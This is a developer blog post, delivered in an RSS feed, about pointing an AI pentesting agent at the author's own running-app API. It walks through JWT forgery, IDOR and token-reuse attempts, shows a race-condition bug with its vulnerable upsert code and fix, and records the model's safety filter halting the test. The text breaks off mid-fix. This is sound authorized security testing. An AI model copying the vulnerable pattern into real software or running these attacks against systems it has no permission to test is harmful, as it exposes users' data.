<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Diogo Soares</title>
    <description>The latest articles on DEV Community by Diogo Soares (@soaresdiogo).</description>
    <link>https://dev.to/soaresdiogo</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F2746528%2F8b41eff3-4b0a-43ad-90dc-edf8aeb43d42.png</url>
      <title>DEV Community: Diogo Soares</title>
      <link>https://dev.to/soaresdiogo</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/soaresdiogo"/>
    <language>en</language>
    <item>
      <title>AI Built My App. Another AI Found the Security Flaw</title>
      <dc:creator>Diogo Soares</dc:creator>
      <pubDate>Wed, 11 Nov 2026 08:35:46 +0000</pubDate>
      <link>https://dev.to/soaresdiogo/ai-built-my-app-another-ai-found-the-security-flaw-3bk1</link>
      <guid>https://dev.to/soaresdiogo/ai-built-my-app-another-ai-found-the-security-flaw-3bk1</guid>
      <description>&lt;p&gt;Two users send the same training-session id to the API at nearly the same time, each into their own account. Both requests come back &lt;code&gt;204 No Content&lt;/code&gt;. One user's data ends up in the other user's account.&lt;/p&gt;

&lt;p&gt;That bug was in an app I built with Claude Code, with every security rule I know written into its instructions. An AI pentester spotted the race condition, and I confirmed it. The strangest part wasn't the bug: the agent tried to prove it, and its own model refused to run the test.&lt;/p&gt;

&lt;p&gt;I gave &lt;a href="https://github.com/usestrix/strix" rel="noopener noreferrer"&gt;Strix&lt;/a&gt;, an open-source AI pentester, the source code and a running copy of the API and asked it to break in. This post covers:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;How I set up an AI pentester against a local copy of my app, on a ChatGPT subscription instead of a metered API key.&lt;/li&gt;
&lt;li&gt;What the agents tried, what failed, and the one lead that became a confirmed bug.&lt;/li&gt;
&lt;li&gt;How I triaged every lead by hand, fixed the bug and proved the fix, and why the report you need to read is not the summary.&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  The target: an app with security built in
&lt;/h2&gt;

&lt;p&gt;The app is for runners: GPS-recorded runs, an interval timer with audio cues, a training plan and goals. The online account keeps all of that synced across devices, along with personal data such as how each workout felt and whether something hurt. That makes broken access control the most valuable class of bug to look for: one user reading or changing another user's runs, plans or account.&lt;/p&gt;

&lt;p&gt;The defenses it already had before the scan:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Area&lt;/th&gt;
&lt;th&gt;Defense&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Passwords&lt;/td&gt;
&lt;td&gt;Argon2id with OWASP parameters, dummy-hash check for unknown e-mails&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Second factor&lt;/td&gt;
&lt;td&gt;TOTP, enrollment only for accounts without TOTP, encrypted seeds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tokens&lt;/td&gt;
&lt;td&gt;EdDSA access JWT with a pinned algorithm and enforced &lt;code&gt;iss&lt;/code&gt;/&lt;code&gt;aud&lt;/code&gt;/&lt;code&gt;exp&lt;/code&gt;; refresh tokens rotated with reuse detection&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Brute force&lt;/td&gt;
&lt;td&gt;Per-IP rate limits plus per-account progressive lockout on password and TOTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Input&lt;/td&gt;
&lt;td&gt;Strict schemas that reject unknown fields, reducing mass-assignment risk&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Access control&lt;/td&gt;
&lt;td&gt;Deny-by-default auth hook, resource ownership taken from the token, never from the body&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;None of that came from a one-off prompt. The repository keeps an architecture decision record (ADR) for every security choice and a set of instructions that Claude Code reads on every task: hash passwords with Argon2id, validate every input with a schema, check ownership on every request. The AI wrote code against written rules, and I reviewed it against the same rules.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;I had already attacked it myself.&lt;/strong&gt; The repository has end-to-end attack scripts that run against the real Docker image: user enumeration, 2FA bypass, mass assignment, a tampered JWT, a forged pagination cursor, IDOR on delete, refresh-token replay, cross-account access. Before the scan I ran all of them against the same image the AI would attack, and every check passed. So the question for the AI was not "can you find the basics?" but &lt;strong&gt;"can you find what I didn't think to test?"&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;There is one more twist. Most of the code was written with Claude Code, the attacker ran on an OpenAI model, and I triaged the results with Claude Code again. One vendor's AI wrote and checked the code, the other's attacked it.&lt;/p&gt;




&lt;h2&gt;
  
  
  The attacker: what Strix is
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/usestrix/strix" rel="noopener noreferrer"&gt;Strix&lt;/a&gt; runs autonomous AI agents as pentesters. A root agent plans the test and spawns specialized sub-agents, each with its own skills (IDOR, JWT attacks, SQL injection, race conditions). They work inside a Docker sandbox that has a terminal, an HTTP proxy and a browser, so they can read the code, send real requests and try to prove each issue.&lt;/p&gt;

&lt;p&gt;That last part is the difference from the scanners most teams already run. A SAST tool matches patterns in code; a DAST tool sends payloads to a URL. Strix's README promises findings "validated through actual proofs-of-concept", which means an agent that reads the code, forms a hypothesis and then sends the requests to confirm or reject it.&lt;/p&gt;

&lt;p&gt;In my run, the agents combined classic tools with reasoning. The source-mapping agent ran Opengrep (425 rules over 277 files), a structural search over 8,061 call sites, gitleaks for hardcoded secrets and Trivy for dependency advisories. The live agents then sent requests through the proxy to check what the code suggested.&lt;/p&gt;




&lt;h2&gt;
  
  
  The setup: model, scope and the flags that matter
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Strix version&lt;/td&gt;
&lt;td&gt;1.7.0, run from source&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Model&lt;/td&gt;
&lt;td&gt;GPT-6.1 Sol through my ChatGPT Plus subscription (&lt;code&gt;chatgpt/gpt-6.1-sol&lt;/code&gt;), no API key&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Targets&lt;/td&gt;
&lt;td&gt;A copy of the source code plus the API running in local Docker containers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data&lt;/td&gt;
&lt;td&gt;Two test accounts with random passwords, no real user data&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Scan mode&lt;/td&gt;
&lt;td&gt;&lt;code&gt;quick&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;strix auth login chatgpt                 &lt;span class="c"&gt;# OAuth sign-in, the same flow as the Codex CLI&lt;/span&gt;
&lt;span class="kd"&gt;export&lt;/span&gt; &lt;span class="nv"&gt;STRIX_LLM&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"chatgpt/gpt-6.1-sol"&lt;/span&gt;   &lt;span class="c"&gt;# chatgpt/&amp;lt;model&amp;gt; runs on the subscription&lt;/span&gt;
strix -n \
  -t ./my-app \
  -t http://host.docker.internal:3000 \
  --instruction-file ./scope.md \
  -m quick --scope-mode full
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The scope file tells the agents what they may touch: the source tree (read only), the one live host, two accounts (alice and bob, each with their own data) and the priorities: first broken access control between the two accounts, then authentication and sessions, then input handling and business logic. Third-party integrations, e-mail and denial of service were out of scope.&lt;/p&gt;

&lt;p&gt;Four details worth knowing:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Set &lt;code&gt;--scope-mode full&lt;/code&gt; for a whole-app test.&lt;/strong&gt; The default, &lt;code&gt;auto&lt;/code&gt;, switches to reviewing only the pull request diff in CI runs. My laptop run would not have triggered it, but &lt;code&gt;full&lt;/code&gt; makes the scope explicit wherever the command runs, including the day you move it into a pipeline.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;-r&lt;/code&gt; is resume, not run name.&lt;/strong&gt; One of my first attempts died instantly with "Cannot combine --resume with --target".&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The model in the docs was not on my plan.&lt;/strong&gt; &lt;code&gt;chatgpt/gpt-5.4&lt;/code&gt;, the example in Strix's README, came back with "The 'gpt-5.4' model is not supported when using Codex with a ChatGPT account". The model my Codex CLI uses by default worked.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Local directories are mounted writable.&lt;/strong&gt; The CLI help says so. I scanned a &lt;code&gt;git archive&lt;/code&gt; copy with a neutral folder name, and afterwards I compared it with the commit: the agents had not changed a file.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Using a ChatGPT subscription outside OpenAI's own products is not officially supported by OpenAI, and Strix's source says so in the module that implements it. I accepted that for a one-off test and signed out afterwards. For anything regular, use an API key and the provider's security-testing program: &lt;a href="https://docs.strix.ai/llm-providers/overview" rel="noopener noreferrer"&gt;Strix's provider docs&lt;/a&gt; say that frontier OpenAI, Anthropic and Gemini models need a cyber access program for security testing. I skipped that line. It came back to bite me, as you'll see below.&lt;/p&gt;




&lt;h2&gt;
  
  
  The attack, step by step
&lt;/h2&gt;

&lt;p&gt;From the coverage report Strix writes next to the findings: every surface an agent examined, what it tried and the outcome.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reconnaissance: what does the API look like?
&lt;/h3&gt;

&lt;p&gt;A live agent signed in with both accounts, recorded the token format (a short-lived bearer JWT plus an opaque refresh token) and probed the public surface. It noticed in the source that API docs exist and asked for &lt;code&gt;/docs&lt;/code&gt; and &lt;code&gt;/docs/json&lt;/code&gt;: both returned &lt;code&gt;404&lt;/code&gt;, because docs are only served when a flag is on. In parallel, the source agent ran the scanners above and built a map of routes to use cases. Gitleaks found nothing; the only key-like strings were test fixtures.&lt;/p&gt;

&lt;h3&gt;
  
  
  Forging tokens: ruled out
&lt;/h3&gt;

&lt;p&gt;The authentication agent read the token signer, saw the pinned algorithm and the required claims, and then tried to break it anyway: an unsigned &lt;code&gt;alg: none&lt;/code&gt; token, edited &lt;code&gt;sub&lt;/code&gt;, &lt;code&gt;purpose&lt;/code&gt; and &lt;code&gt;aud&lt;/code&gt; claims, an empty signature and a malformed bearer header. Every one returned &lt;code&gt;401&lt;/code&gt;. So did an access token used where a pending-2FA token was expected.&lt;/p&gt;

&lt;h3&gt;
  
  
  The near miss: logging out someone else
&lt;/h3&gt;

&lt;p&gt;The agent controlled both test accounts, so it could play out a leaked-token scenario: what if alice gets hold of bob's refresh token, from a log or a screenshot, and uses it to end his session? Signed in as alice, it called logout with &lt;strong&gt;bob's&lt;/strong&gt; refresh token. The API answered &lt;code&gt;204 No Content&lt;/code&gt;, which looks like success. The agent didn't stop at the status code. It immediately refreshed bob's session, which still worked: the logout use case only revokes a token that belongs to the caller and returns the same response either way. Ruled out, with evidence, in two requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  Reading someone else's training data: ruled out
&lt;/h3&gt;

&lt;p&gt;Then the attack I worried about most. Each account has its own space for plans and goals, identified by an id in the URL. The agent swapped alice's space id for bob's, and bob's for alice's, on the goal profile and plan preview endpoints. Every foreign id returned &lt;code&gt;404&lt;/code&gt;; the same calls on each user's own space returned &lt;code&gt;200&lt;/code&gt;. It also injected ownership fields into the request body, and the strict schemas rejected them with &lt;code&gt;400&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Re-authentication, refresh races and 2FA: ruled out
&lt;/h3&gt;

&lt;p&gt;It sent extra &lt;code&gt;userId&lt;/code&gt; fields to password change and account deletion (&lt;code&gt;400&lt;/code&gt;) and wrong passwords (&lt;code&gt;401&lt;/code&gt;). It deliberately did not change real passwords or delete accounts, which is what I'd want from a human tester too. It refreshed one token twice in parallel to look for a race in token rotation: one &lt;code&gt;200&lt;/code&gt;, one &lt;code&gt;401&lt;/code&gt;. And it read the 2FA enrollment code, then checked the edges it could reach without a valid code: an access token used to verify a sign-in, and confirming an enrollment that was never started, both &lt;code&gt;401&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  The lead: two users, one id
&lt;/h3&gt;

&lt;p&gt;While mapping the code, the source agent wrote a note about the repository that saves training-plan sessions:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Each transaction checks [ownership] via SELECT then upserts globally unique resource ID without [space] setWhere in conflict UPDATE. Sequential foreign IDs are rejected, but concurrent creation under two owned [spaces] may race; mapping agent did not dynamically test.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;That is a time-of-check to time-of-use race, and it is exactly the kind of bug my own scripts could not find: they send one request at a time. The root agent spawned a dedicated validator to prove it with concurrent requests.&lt;/p&gt;

&lt;h3&gt;
  
  
  The model said no
&lt;/h3&gt;

&lt;p&gt;The validator never got to its proof. Its call to the model came back with an error from OpenAI's side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;openai.APIError: This content was flagged for possible cybersecurity risk.
If this seems wrong, try rephrasing your request. If you're doing authorized
security work that requires more cyber permissive safeguards, apply for
Daybreak access [...]
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The agent crashed. Later the same filter refused the root agent itself, and the run ended with status &lt;code&gt;failed&lt;/code&gt;. The model had been fine reading code, forging JWTs and swapping account ids. In my run, the line was a race-condition exploit. That is one observation, not a rule: it doesn't show that the provider blocks every race-condition test.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is the risk that's easy to miss in AI pentesting demos:&lt;/strong&gt; the model's provider decides which attacks your pentester may run, and it can block any request in the middle of a scan. OpenAI offers &lt;a href="https://openai.com/daybreak/" rel="noopener noreferrer"&gt;Daybreak&lt;/a&gt;, its trusted access program for cyber work, which loosens these safeguards for vetted defenders (&lt;a href="https://help.openai.com/en/articles/20001258-openai-daybreak-trusted-access-for-cyber" rel="noopener noreferrer"&gt;OpenAI says&lt;/a&gt; it doesn't remove every refusal). Anthropic has its &lt;a href="https://support.claude.com/en/articles/14604842-cyber-verification-program" rel="noopener noreferrer"&gt;Cyber Verification Program&lt;/a&gt; and Google its &lt;a href="https://deepmind.google/fairwind-program/" rel="noopener noreferrer"&gt;Fairwind Program&lt;/a&gt;. Without one, an OpenAI, Anthropic or Gemini model can refuse offensive tasks at any point.&lt;/p&gt;




&lt;h2&gt;
  
  
  What it found
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Triage of the leads
&lt;/h3&gt;

&lt;p&gt;A lead is not a finding. Strix filed zero vulnerabilities; it left three leads marked &lt;code&gt;needs_follow_up&lt;/code&gt;. I reproduced each one by hand against the local API before calling it anything.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Lead from Strix&lt;/th&gt;
&lt;th&gt;My verification&lt;/th&gt;
&lt;th&gt;Result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Race in the plan upsert&lt;/td&gt;
&lt;td&gt;200 concurrent same-id writes from two accounts&lt;/td&gt;
&lt;td&gt;
&lt;strong&gt;Confirmed&lt;/strong&gt; (F-01)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;glob&lt;/code&gt; and &lt;code&gt;minimatch&lt;/code&gt; advisories through the optional API docs packages&lt;/td&gt;
&lt;td&gt;Listed &lt;code&gt;node_modules&lt;/code&gt; inside the runtime image: only the native password-hashing binding ships&lt;/td&gt;
&lt;td&gt;Ruled out, not in the image&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2FA enrollment and second-factor bypass&lt;/td&gt;
&lt;td&gt;Full enrollment with a third test account and a real authenticator code: 17 checks, including replacing an active factor (&lt;code&gt;409&lt;/code&gt;), skipping the code at sign-in and changing the password without it&lt;/td&gt;
&lt;td&gt;Ruled out&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h3&gt;
  
  
  F-01: concurrent writes with the same id cross into another user's data
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Value&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Severity&lt;/td&gt;
&lt;td&gt;Low: real integrity impact, but the attacker must know the victim's new id before it is saved&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE / OWASP&lt;/td&gt;
&lt;td&gt;
&lt;a href="https://cwe.mitre.org/data/definitions/367.html" rel="noopener noreferrer"&gt;CWE-367&lt;/a&gt; (TOCTOU race) / &lt;a href="https://owasp.org/Top10/A01_2021-Broken_Access_Control/" rel="noopener noreferrer"&gt;A01:2021 Broken Access Control&lt;/a&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected component&lt;/td&gt;
&lt;td&gt;The plan repository, which saves plan sessions, workout templates and two other plan resources&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Evidence&lt;/td&gt;
&lt;td&gt;Both users get &lt;code&gt;204&lt;/code&gt;, and the row ends up in one user's space with the other user's content&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Root cause&lt;/td&gt;
&lt;td&gt;Ownership checked with a &lt;code&gt;SELECT&lt;/code&gt;, then an &lt;code&gt;INSERT ... ON CONFLICT DO UPDATE&lt;/code&gt; with no ownership condition&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fix&lt;/td&gt;
&lt;td&gt;The ownership condition moved into the upsert itself&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Verification&lt;/td&gt;
&lt;td&gt;A new concurrency attack check: 9 of 10 pairs both got &lt;code&gt;204&lt;/code&gt; before the fix, none after&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The pattern, simplified:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Before (simplified; runs inside one transaction `tx`).&lt;/span&gt;
&lt;span class="k"&gt;async&lt;/span&gt; &lt;span class="nf"&gt;saveSessions&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="kc"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;anyIdOwnedByAnotherSpace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// SELECT&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt; &lt;span class="k"&gt;of&lt;/span&gt; &lt;span class="n"&gt;sessions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onConflictDoUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// no space check&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The ids are UUIDs generated on the phone, so the server can't trust them to be new. The &lt;code&gt;SELECT&lt;/code&gt; handles the sequential case: a foreign id is rejected with &lt;code&gt;409&lt;/code&gt;, and my own attack scripts confirm it. The concurrent case is different. Each request runs the check and the write inside its own transaction. Under PostgreSQL's default READ COMMITTED isolation, both transactions run the &lt;code&gt;SELECT&lt;/code&gt;, both see no row, and both insert. The second insert waits on the unique index, and when the first commits, &lt;a href="https://www.postgresql.org/docs/current/sql-insert.html#SQL-ON-CONFLICT" rel="noopener noreferrer"&gt;&lt;code&gt;ON CONFLICT DO UPDATE&lt;/code&gt;&lt;/a&gt; updates the row that now exists, whoever owns it.&lt;/p&gt;

&lt;p&gt;I sent 200 pairs of simultaneous requests, alice and bob each writing a new session with the same id into their own space:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;alice / bob&lt;/th&gt;
&lt;th&gt;Pairs&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;204&lt;/code&gt; / &lt;code&gt;204&lt;/code&gt; (both "succeeded")&lt;/td&gt;
&lt;td&gt;58&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;204&lt;/code&gt; / &lt;code&gt;409&lt;/code&gt; (the check worked)&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;429&lt;/code&gt; / &lt;code&gt;429&lt;/code&gt; (per-IP rate limit)&lt;/td&gt;
&lt;td&gt;141&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Afterwards the database held 58 sessions whose space did not match their athlete: 48 stayed in alice's space with bob's content, 10 the other way round. The first writer's session disappears from their week, and the second writer's data lives in someone else's account. &lt;strong&gt;Both users were told it worked.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Two things keep the severity low. My test gave both users the same id on purpose: it proves the isolation breaks under that condition, not that an outside attacker has a way to learn the id. A real attacker has to know the victim's id before the victim's request commits, and those ids are random UUIDs generated on the victim's phone; nothing in this test showed a way for another user to read them. And the rate limiter cut the attack short: 141 of 200 pairs never reached the database. But "low" is not "no": it is a broken isolation guarantee that my own tests could not see.&lt;/p&gt;

&lt;p&gt;The other repositories (recorded runs, completed workouts, goals) already did this right: their upserts carry the owner inside the statement. Only the plan repository had the check in a separate query. Same rules, same AI, one file that drifted.&lt;/p&gt;




&lt;h2&gt;
  
  
  Fixing it and proving the fix
&lt;/h2&gt;

&lt;p&gt;The fix is to stop asking first. The ownership condition goes into the write, so PostgreSQL decides it under the same lock that detects the conflict:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// After: the upsert only updates a row of the same space.&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="n"&gt;written&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;await&lt;/span&gt; &lt;span class="n"&gt;tx&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;insert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;spaceId&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;onConflictDoUpdate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;plannedSessions&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="n"&gt;set&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nf"&gt;values&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;session&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
